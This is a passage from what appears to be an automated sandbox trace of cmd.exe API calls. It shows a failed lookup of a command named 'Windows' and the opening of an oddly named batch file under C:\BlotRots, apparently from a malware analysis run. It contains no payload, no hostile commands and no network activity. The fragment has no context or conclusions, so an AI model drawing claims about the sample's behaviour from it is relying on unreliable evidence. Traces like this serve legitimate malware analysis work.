fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.733] GetLastError () returned 0x2 [0211.733] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.733] GetLastError () returned 0x2 [0211.733] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.734] GetLastError () returned 0x2 [0211.734] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.734] GetLastError () returned 0x2 [0211.734] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.734] GetLastError () returned 0x2 [0211.734] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.734] GetLastError () returned 0x2 [0211.734] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.734] GetLastError () returned 0x2 [0211.735] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.735] GetLastError () returned 0x2 [0211.735] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.735] GetLastError () returned 0x2 [0211.735] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.735] GetLastError () returned 0x2 [0211.735] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.735] GetLastError () returned 0x2 [0211.735] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.736] GetLastError () returned 0x2 [0211.736] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.736] GetLastError () returned 0x2 [0211.736] ??_V@YAXPEAX@Z () returned 0x1 [0211.736] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0211.737] malloc (_Size=0xffce) returned 0x20b0fa70920 [0211.737] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0211.737] malloc (_Size=0xffce) returned 0x20b0fa80900 [0211.737] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0211.738] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0211.738] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0211.738] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0211.738] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0211.738] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0211.738] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0211.738] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0211.738] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0211.738] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0211.738] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0211.738] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0211.738] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0211.738] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0211.738] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0211.738] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0211.738] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0211.738] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0211.738] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0211.738] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0211.738] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0211.738] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0211.738] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0211.739] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0211.739] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0211.739] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0211.739] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0211.739] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0211.739] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0211.739] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0211.739] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0211.739] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0211.739] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0211.739] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0211.739] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0211.739] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0211.739] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0211.739] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0211.739] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0211.739] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0211.739] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0211.739] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0211.739] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0211.739] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0211.739] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0211.739] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0211.739] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0211.739] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0211.739] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0211.739] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0211.739] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0211.740] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0211.740] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0211.740] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0211.740] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0211.740] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0211.740] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0211.740] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0211.740] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0211.740] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0211.740] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0211.740] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0211.740] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0211.740] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0211.740] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0211.740] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0211.740] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0211.740] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0211.740] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0211.740] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0211.740] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0211.740] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0211.740] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0211.740] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0211.740] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0211.740] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0211.740] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0211.740] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0211.740] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0211.740] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0211.740] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0211.741] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0211.741] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0211.741] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0211.741] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0211.741] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0211.741] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0211.741] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0211.741] ??_V@YAXPEAX@Z () returned 0x1 [0211.741] GetProcessHeap () returned 0x20b0f920000 [0211.741] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0211.741] GetProcessHeap () returned 0x20b0f920000 [0211.741] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb8) returned 0x20b0f92d690 [0211.741] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0211.741] malloc (_Size=0xffce) returned 0x20b0fa80900 [0211.742] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0211.742] GetProcessHeap () returned 0x20b0f920000 [0211.742] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0211.743] SetErrorMode (uMode=0x0) returned 0x0 [0211.743] SetErrorMode (uMode=0x1) returned 0x0 [0211.743] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0211.743] SetErrorMode (uMode=0x0) returned 0x1 [0211.743] GetProcessHeap () returned 0x20b0f920000 [0211.743] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0211.743] GetProcessHeap () returned 0x20b0f920000 [0211.744] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0211.744] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0211.744] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0211.744] GetProcessHeap () returned 0x20b0f920000 [0211.744] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e0d0 [0211.744] GetProcessHeap () returned 0x20b0f920000 [0211.744] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0211.744] GetProcessHeap () returned 0x20b0f920000 [0211.744] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0211.744] GetProcessHeap () returned 0x20b0f920000 [0211.744] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0211.744] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0211.744] GetProcessHeap () returned 0x20b0f920000 [0211.744] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f926b80 [0211.744] GetProcessHeap () returned 0x20b0f920000 [0211.744] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f926b80, Size=0x7e) returned 0x20b0f926b80 [0211.744] GetProcessHeap () returned 0x20b0f920000 [0211.744] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f926b80) returned 0x7e [0211.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d0f0 [0211.744] FindClose (in: hFindFile=0x20b0f92d0f0 | out: hFindFile=0x20b0f92d0f0) returned 1 [0211.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.745] GetLastError () returned 0x2 [0211.745] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.745] GetLastError () returned 0x2 [0211.745] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.745] GetLastError () returned 0x2 [0211.745] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.745] GetLastError () returned 0x2 [0211.745] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.745] GetLastError () returned 0x2 [0211.745] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.746] GetLastError () returned 0x2 [0211.746] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.746] GetLastError () returned 0x2 [0211.746] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.746] GetLastError () returned 0x2 [0211.746] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.746] GetLastError () returned 0x2 [0211.746] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.746] GetLastError () returned 0x2 [0211.746] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.746] GetLastError () returned 0x2 [0211.747] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.747] GetLastError () returned 0x2 [0211.747] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d390 [0211.747] FindClose (in: hFindFile=0x20b0f92d390 | out: hFindFile=0x20b0f92d390) returned 1 [0211.747] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.747] GetLastError () returned 0x2 [0211.747] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.747] GetLastError () returned 0x2 [0211.747] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.747] GetLastError () returned 0x2 [0211.747] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.748] GetLastError () returned 0x2 [0211.748] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.748] GetLastError () returned 0x2 [0211.748] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.748] GetLastError () returned 0x2 [0211.748] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.748] GetLastError () returned 0x2 [0211.748] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.748] GetLastError () returned 0x2 [0211.748] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.748] GetLastError () returned 0x2 [0211.749] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.749] GetLastError () returned 0x2 [0211.749] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.749] GetLastError () returned 0x2 [0211.749] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.749] GetLastError () returned 0x2 [0211.749] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.749] GetLastError () returned 0x2 [0211.749] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.749] GetLastError () returned 0x2 [0211.749] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.750] GetLastError () returned 0x2 [0211.750] ??_V@YAXPEAX@Z () returned 0x1 [0211.750] _get_osfhandle (_FileHandle=2) returned 0x54 [0211.750] GetFileType (hFile=0x54) returned 0x2 [0211.750] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0211.750] _get_osfhandle (_FileHandle=2) returned 0x54 [0211.750] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0211.751] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0211.751] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0211.751] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0211.756] ??_V@YAXPEAX@Z () returned 0x1 [0211.757] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.757] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0211.757] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.757] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0211.757] _get_osfhandle (_FileHandle=0) returned 0x4c [0211.757] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0211.757] SetConsoleInputExeNameW () returned 0x1 [0211.758] GetConsoleOutputCP () returned 0x1b5 [0211.758] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0211.758] SetThreadUILanguage (LangId=0x0) returned 0x409 [0211.758] ??_V@YAXPEAX@Z () returned 0x1 [0211.759] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0211.759] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0211.759] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.759] SetFilePointer (in: hFile=0x9c, lDistanceToMove=2679, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa77 [0211.759] GetProcessHeap () returned 0x20b0f920000 [0211.759] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926b80) returned 1 [0211.759] GetProcessHeap () returned 0x20b0f920000 [0211.759] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0211.759] GetProcessHeap () returned 0x20b0f920000 [0211.759] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0211.759] GetProcessHeap () returned 0x20b0f920000 [0211.760] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0211.760] GetProcessHeap () returned 0x20b0f920000 [0211.760] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d690) returned 1 [0211.760] GetProcessHeap () returned 0x20b0f920000 [0211.760] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0211.761] GetProcessHeap () returned 0x20b0f920000 [0211.761] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0211.761] GetProcessHeap () returned 0x20b0f920000 [0211.761] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0211.761] GetProcessHeap () returned 0x20b0f920000 [0211.761] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0211.761] GetProcessHeap () returned 0x20b0f920000 [0211.761] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0211.762] 